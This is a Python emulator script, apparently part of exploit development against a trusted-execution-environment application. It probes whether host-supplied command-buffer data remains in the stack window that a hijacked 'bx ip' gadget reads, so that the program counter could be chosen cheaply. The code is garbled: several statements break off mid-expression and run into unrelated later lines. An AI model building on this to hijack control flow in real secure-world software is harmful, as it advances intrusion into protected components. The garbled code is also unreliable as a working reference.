#!/usr/bin/env python3 """Does a prior INVOKE leave HOST-CHOSEN bytes in the stack window the hijack gadget reads? At the hijacked `bx ip` (0x402938 on the UNLOAD_TA path) sp = 0x41bf70 and gadgets can source PC from tlApiFree's frame [sp, sp+0x80) or from below sp. Add.95 showed the frame is largely uninitialised, and Add.96 showed *(sp-8) and below are untouched by the UNLOAD path. Both are carvable, but a carve costs ~256 stamps per byte. If instead a NORMAL invoke happens to leave host-controlled dwords at those offsets, we get a chosen PC for FREE. Method: fill the host cmd buffer with a POSITION-ENCODING pattern (dword at offset o = 0xD0000000|o), run invokes, then UNLOAD_TA and dump [sp-0x80, sp+0x100) at the `bx ip`. Any dword matching the pattern is host-sourced AND tells us exactly which cmd-buffer offset it came from. Negative result is only meaningful with the positive control: the pattern MUST be found somewhere (e.g. in the ctx / deeper stack), otherwise the experiment proves nothing. """ import sys, os, struct, importlib.util, glob sys.path.insert(0, os.path.join(os.path.dirname(__file__), "..")) sys.path.insert(0, os.path.dirname(__file__)) from unicorn import UC_HOOK_CODE from unicorn.arm_const import * H=os.path.dirname(os.path.abspath(__file__)) _h=importlib.util.spec_from_file_location("hmw", os.path.join(H,"heap_meta_who.py")) HM=importlib.util.module_from_spec(_h); _h.loader.exec_module(HM) GW, FT = HM.GW, HM.FT from pspemu import armmmu PAT=0xD0000000 A10=0xCAFE1000 # FE07 arg10 low (host-chosen, lands at auth[i]+0x10) A18=0xBEEF1800 # FE07 arg18 (host-chosen, lands at auth[i]+0x04) def fill(c, cmd, arg10=0, arg18=0): buf=bytearray(GW.CMDBUF_LEN) for o in range(0, GW.CMDBUF_LEN, 4): struct.pack_into(" TA blocks=%d faults=%d"%(cmd,len(env["ta"]),len(env["faults"])),flush=True) if len(env["faults"])>nf: print(" FAULTED -- TA killed, aborting (free would never run)"); break # positive control: is the pattern anywhere in TA RAM at all? def sniff(lo,hi): found={} for va in range(lo,hi,4): try: v=struct.unpack(" no free chosen PC from host residue at these offsets") return 0 if __name__=="__main__": sys.exit(main())